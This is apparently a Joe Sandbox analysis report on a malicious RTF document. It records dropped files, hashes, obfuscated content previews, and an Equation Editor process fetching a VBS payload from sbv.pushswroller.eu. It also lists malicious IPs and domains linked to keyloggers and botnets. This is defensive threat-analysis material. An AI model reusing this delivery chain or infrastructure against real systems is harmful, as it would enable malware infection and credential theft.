URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to DwocLfr8K?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to DwocLfr8K?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To view secured document, click here", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or identifiable brand names. The image appears to be a Microsoft Word document with a compatibility mode error message, and there are no brand elements present on the page.

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a blank Microsoft Word document with no discernible branding elements.

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "p60574452<2.2^(@5]#<@>19?2?.4#(9-31]?+/1?+>]#$L_~,??]%@-095%^?/2.2/9?]?>=<.(/^/\]~63]$@??'?4537&?7^??2?9?6_5u+]86)78]]+<<?[#?#$%%98%+*08]%@~#1u)$~?][#?&$ ", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some encoded text and an equation editor interface, but there are no identifiable brand elements present.

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a blank Microsoft Word document with no discernible branding elements.

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or identifiable brand names. The image appears to be a blank Microsoft Word document with no discernible branding elements.

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some text and a dialog box, but there are no clear brand identities present.

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some text and a dialog box, but there are no clear brand identities present.

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some text and a dialog box, but there are no clear brand identities present.

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or identifiable brand names. The image appears to be a Microsoft Word document containing only encoded text, with no clear branding or logos present. Therefore, there are no brands detected on this page.

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or identifiable brand names. The image appears to be a Microsoft Word document containing only encoded text, with no clear branding or logos present. Therefore, there are no brands detected on this page.

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some text and a dialog box, but there are no clear brand identities present.

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some encrypted text and a dialog box asking the user to save changes. There are no clear brand identities present on the page.

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some text and a dialog box, but there are no clear brand identities present.

URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a Microsoft Word document with some encrypted text and a dialog box asking the user to save changes. There are no clear brand identities present on the page.

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not appear to contain any visible brand logos or names. The image shows a Microsoft Word document with a large amount of text that appears to be encoded or encrypted. There are no clear brand identities or logos visible in the screenshot.

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "p60574452<2.2^(@5]#<@>19?2?.4#(9-31]?+/1?+>]#$L_~,??]%@-095%^?/2.2/9?]?>=<.(/^/\]~63]$@??'?4537&?7^'?2?9?6_5u+\|86)78]]+<<?[#7#$%9%$%'08]%~#1u)$-?][#&$% ($4$?'?%#1#=$$1]#?7&$[6]$$$6]+%$7%$?744u&$51>_[%&$??)~1,)%$%$)3]3 7/ <u%9%~?@$@<~((0@$+$$?'?([]%9%?3_739/2?~<i3<?($62@@_../))[S[-]'~$^~..& ?_1~2?9&!((?!%~>26'=]'9&$'3]32&_~??;3<?)~<14$==#1?$@'@!0.,'$=]]=1'()? 9?=@]1%$?'&!((?'&,u9$=4%$5/8u[[(~(~0-9?~>_)']'%~$?1)1?&?7?7?7?750699?* ??' $'1$~u?72~%%=@,%?$~60&~[~5'%63+)]01)?~&%0%+=?????)1)?].#~$<_$u93 ?9~?~,]]3[&9?3=6.,6%$'$?~6~%6/6%u~,']~>=&2,6~&==#9%?8=07%?%?11 ~]=$51?67_2.4?230]$1?7?~@32@1=5=.%~7'#4$8$7?>>~6u?]u&??7%~_~$?'~$% ^?@3??u,?24#=4_%%'%?1,$]-0,3@u.9^[7,??^?)2_>_$?7?7?$=.%$%_7#?<'?48 ^?$#u4u0'[1)-13(7?2,02%~:~$$$6.?]%9%~.0$(%~1$%$<~(3.%?%%~<6?$4.8'u???)[ #199(!(90<(9_(~)4541/.?%@>?~]?68@2/~)[~%%]ul!='l71~?<29.9.94,6^~93337]757_.& @#(u&!?%u'!616%&$7_:9%'0,1.6%@9#6]?<)564#?=u~=?1)?<6+@&%!_7&$9] $]=$$??)2)!$]$]$?'0<&$=+$70$?'17?~?~$70<?)2)%~$8u>%!?7_?=>=5 3???=9~)u6:%$?]']3+?6=?!^~["%6%'u 4?]!.5^?)u=?~][@$=$&!6~?(+<>@&~_~_$8 ?)39&!.?$%<64/6?~$#?1@7!.6_).2u_@?~,>1+*%$)=@[?'[u91?'0

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
5.182.211.149	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	the.drillmmcsnk.top/den/P4.php
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	sbv.pushswroller.eu/gfy/gesr.txt
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	the.drillmmcsnk.top/den/P4.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sbv.pushswroller.eu	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	5.182.211.149
sbv.pushswroller.eu	ConfirmaciXnXdeXfacturaXPedidoXadicional.doc	Get hash	malicious	Unknown	Browse	141.98.10.88

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKB-ENTERPRISENL	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	5.182.211.149
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	5.182.211.149
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	5.182.211.149
	bot_library.exe	Get hash	malicious	Unknown	Browse	45.148.121.112
	bot_library.exe	Get hash	malicious	Unknown	Browse	45.148.121.112
	i3LQkjkqOB.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.148.121.112
	grjD7lWffX.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.148.121.112
	systemd-udevd (deleted)	Get hash	malicious	Unknown	Browse	45.148.120.142
	systemd-udevd (deleted)	Get hash	malicious	Unknown	Browse	45.148.120.142
	configs.conf	Get hash	malicious	Unknown	Browse	45.148.120.142

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{53164274-B390-45D6-A620-3E564C80F46E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8AC03BC3-32E4-456F-86DF-3F70461983FF}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16896
Entropy (8bit):	3.586566405359145
Encrypted:	false
SSDEEP:	384:H037BLyvvlg8QC4LwYEKbzmYTQdBH+kyxJZJYqlpUl8S93t3wppmRg:4UlhKLthPmYTQSxZmqlpUpVwpGg
MD5:	B99BB67739F5941819E4E7A0E1640667
SHA1:	DCBF5A33D4845E66EE31301AF9995CB55CB03AA8
SHA-256:	5C1DDCB967EC4E2C6EBC09A360913646C14CA8DE3AD502E2FE8CE8A51A89BCEE
SHA-512:	047ACA11448636801C1620B55C689990F9DCEBE9B894F17033B664DA73F00C48B76596C8BA3DD54121410D9B7185B0F2B707DA4C9F9E6CC0D2A367835C69F97C
Malicious:	false
Reputation:	low
Preview:	9.6.0.5.7.4.4.5.<.?...2.^.\|.(.@.5.].#.<.@.>.1.9.?.?.2...4.:.#.(...9.~.3.1.].?.+./.1.?.+.>.].+...[...,.~.;.,.?.?.\|.5.%.<.0.9.5.%.^.?./.?.,.?./.\|.9.?.\|.?.=.<.-.;.(./.'./.^.-.^.].~.6.3.[.,.$.@.?.?.:.?.4.5.3.?.).&.\|.7.`.^.?.2.?.9.?.;.6._.5...+.\|.;.8.6.).?.7.8.\|.]...`.!.+.;.<.].7.#.`.`.7.#...`.`./..9...%./.+...0...!...%.`.~.#.1...)...~.?.].[.#.?.&.$..(.:.$.4.8.]...?.:.].%.].4.!.>.#.:.$...\|.1.-.[.4.?.8.&.[.'.6.]...(.8.$.6.].+.'.%.7...%./.$.?.4.4...&.5.1...>._.[._.%.&.?.'.).'.?.-.1.,._.).).6..%.$.)._.3.\|._.3._.?.]./.<...%.%.-.-..?..+.@.5.@.:.:.<.(.(.].0.@.5.+.....^.?.;.(.[.!.%.9.%.?.3._.7.3.9./.2.?.-.<.\|./.3.<.?.\|.(...6.2...@.@.:.,.../.\|.].)./...[.-.]...].<../.+...^.^.:...,...@.;.?._.!.~.2..7.9.&.\|.'...(.?.?..!.<.%.~.>.2.6.'.=.!.^.9.\|.&.5.`.3.'.].3.2.8.&._.~.?.?.;.3.<.;.?.).>.<.!.4.....`.=.#.1.?...^.@.!.%.\|.\|.;.0.,...^...=.`.].=.\|.=.1.`.(.).`.[.9./.'.?.0.#.=.<.).1.%...?.\|..;.&...\|.(.^.@.?.,.&.\|...9.\|.5.=.4......\|.5./.;.8...,.[.(.\|.:.;.(.+._.0.~.9.?.=.?._.'.>./.'.].^.%.<.;.8.7.!.).`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B1CD360A-A8A5-454D-A1AC-E4C35B1B92FE}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\DwocLrf8iK.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:05 2023, mtime=Fri Aug 11 15:42:05 2023, atime=Wed Dec 4 10:16:53 2024, length=56125, window=hide
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	4.544114270739737
Encrypted:	false
SSDEEP:	12:8b16FgXg/XAlCPCHaXfyBHNB/Dr8xX+WhofsONMicvbPK4J4DtZ3YilMMEpxRljX:8bw/XT6dNxOT9UHez4Dv3qs57u
MD5:	7415FA967D16EC53E6E0C1CB1EF33B64
SHA1:	FECD2E1332E69B95127774861DB399B9F01B5102
SHA-256:	FF3C7858C20E6E4D42C966BE78B64EEC6D9FFAE99E6A1DBD8646EDA0F8161B04
SHA-512:	7683661AC3CA018D426D74E93C03EF8A7AF6570BF8AC47D1EE207E898BF674A306C6270177AAD38567C6A772229CE09F0505D1F764AEBD060C4F743BE1928899
Malicious:	false
Reputation:	low
Preview:	L..................F.... ....&(.r....&(.r...6E..>F..=............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Y.Z..user.8......QK.X.Y.Z...&=....U...............A.l.b.u.s.....z.1......WD...Desktop.d......QK.X.WD...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....f.2.=....Y.Z .DWOCLR~1.RTF..J.......WC..WC..........................D.w.o.c.L.r.f.8.i.K...r.t.f.......x...............-...8...[............?J......C:\Users\..#...................\\284992\Users.user\Desktop\DwocLrf8iK.rtf.%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.D.w.o.c.L.r.f.8.i.K...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......284992..........D_....3N...W...9..W.e8...8.....[D_....3N...W...9..W.e8

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.403642667873435
Encrypted:	false
SSDEEP:	3:Hq5GdBpSm4MddBpSv:HkGppdpc
MD5:	29F205A681AF401D383C9B8838A98010
SHA1:	D48F1B35B8FC700C1E13D898FECA59027B47B792
SHA-256:	26F094A3C21C05D4C5DA1F1D90368DED4CFF8DB55EEE4B0430849349EE0C5663
SHA-512:	84B9F87219756F175CEEAE4F05E4C0FF193C0B9315A81725C39CD5E85E9FF09B722CB244F3317247F778162131904F100E38C3AA443BA2C11306A03E9DBCE36B
Malicious:	false
Preview:	[misc]..DwocLrf8iK.LNK=0..[folders]..DwocLrf8iK.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\Desktop\~$ocLrf8iK.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	3.579103922973875
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	DwocLrf8iK.rtf
File size:	56'125 bytes
MD5:	f11a6a0e8ae4ccc1c4a311e48b8f464e
SHA1:	6bcd811bf12fa142a18f9710a7b24334530c0807
SHA256:	a02d2abb1a7da0921aa1fa2d4ae713062b16cda330e9755556c2950f7e413398
SHA512:	e7bab4564de6d253a1f5ad0063e973b2567f37c03e71b98ac7b3cb1adfd40b7981d9949e70c53c1bc1b05372366cb189bd9eb03d57ce33ea8b3a6b9ff45e764e
SSDEEP:	384:NThKJjZp8eFxToMioV9TNlrU3+4Y6NlGIIqtPu4Qf+f/3MwVmEpGqt2XPQPb:FIJjzP0sVRt6NlGIIqtuBfMFvG9XPQT
TLSH:	C4438B8AC74E85A5CF456373122B8A4805F8B33EF75691B5B46C93703BECD3E05A94B8
File Content Preview:	{\rtf1..{\*\A1DHGDLzAkKdjqx9DTycS1mB6KMAEzWT9qJGXjllhXoUAQVbYNTVdwbqdG3XmMLDGZwsARrksdgRcDiJLCSAkKK5d0acRgX79F1PIs3iM2rjFiz5EyqsxgLilashLVVwSsR86ZkRonEgDTkgsjYwOZ3Uh1o4eLeVqV8Kj1LhtvjXf2NtwUSbFVsC5MKzWkMZyAzHKoFIFTEbkuIU3ITAd0DcadIl7E5uVtuH4QrzXSe9detHuBW

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000210Eh								no

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 12:16:57.399216890 CET	49161	80	192.168.2.22	5.182.211.149
Dec 4, 2024 12:16:57.519140005 CET	80	49161	5.182.211.149	192.168.2.22
Dec 4, 2024 12:16:57.519233942 CET	49161	80	192.168.2.22	5.182.211.149
Dec 4, 2024 12:16:57.519524097 CET	49161	80	192.168.2.22	5.182.211.149
Dec 4, 2024 12:16:57.639267921 CET	80	49161	5.182.211.149	192.168.2.22
Dec 4, 2024 12:16:58.757554054 CET	80	49161	5.182.211.149	192.168.2.22
Dec 4, 2024 12:16:58.757622957 CET	49161	80	192.168.2.22	5.182.211.149
Dec 4, 2024 12:16:58.758343935 CET	49161	80	192.168.2.22	5.182.211.149
Dec 4, 2024 12:16:58.879421949 CET	80	49161	5.182.211.149	192.168.2.22
Dec 4, 2024 12:16:58.879513979 CET	49161	80	192.168.2.22	5.182.211.149

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 12:16:57.104098082 CET	54562	53	192.168.2.22	8.8.8.8
Dec 4, 2024 12:16:57.361332893 CET	53	54562	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 12:16:57.104098082 CET	192.168.2.22	8.8.8.8	0xcfc0	Standard query (0)	sbv.pushswroller.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 12:16:57.361332893 CET	8.8.8.8	192.168.2.22	0xcfc0	No error (0)	sbv.pushswroller.eu		5.182.211.149	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sbv.pushswroller.eu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	5.182.211.149	80	3716	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 12:16:57.519524097 CET	322	OUT	GET /tes/jukhccby.vbs HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: sbv.pushswroller.eu Connection: Keep-Alive
Dec 4, 2024 12:16:58.757554054 CET	284	IN	HTTP/1.1 404 Not Found content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache date: Wed, 04 Dec 2024 11:16:58 GMT server: LiteSpeed content-encoding: gzip vary: Accept-Encoding transfer-encoding: chunked connection: Keep-Alive Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a

Target ID:	0
Start time:	06:16:53
Start date:	04/12/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fba0000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	06:16:54
Start date:	04/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:17:18
Start date:	04/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net .
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

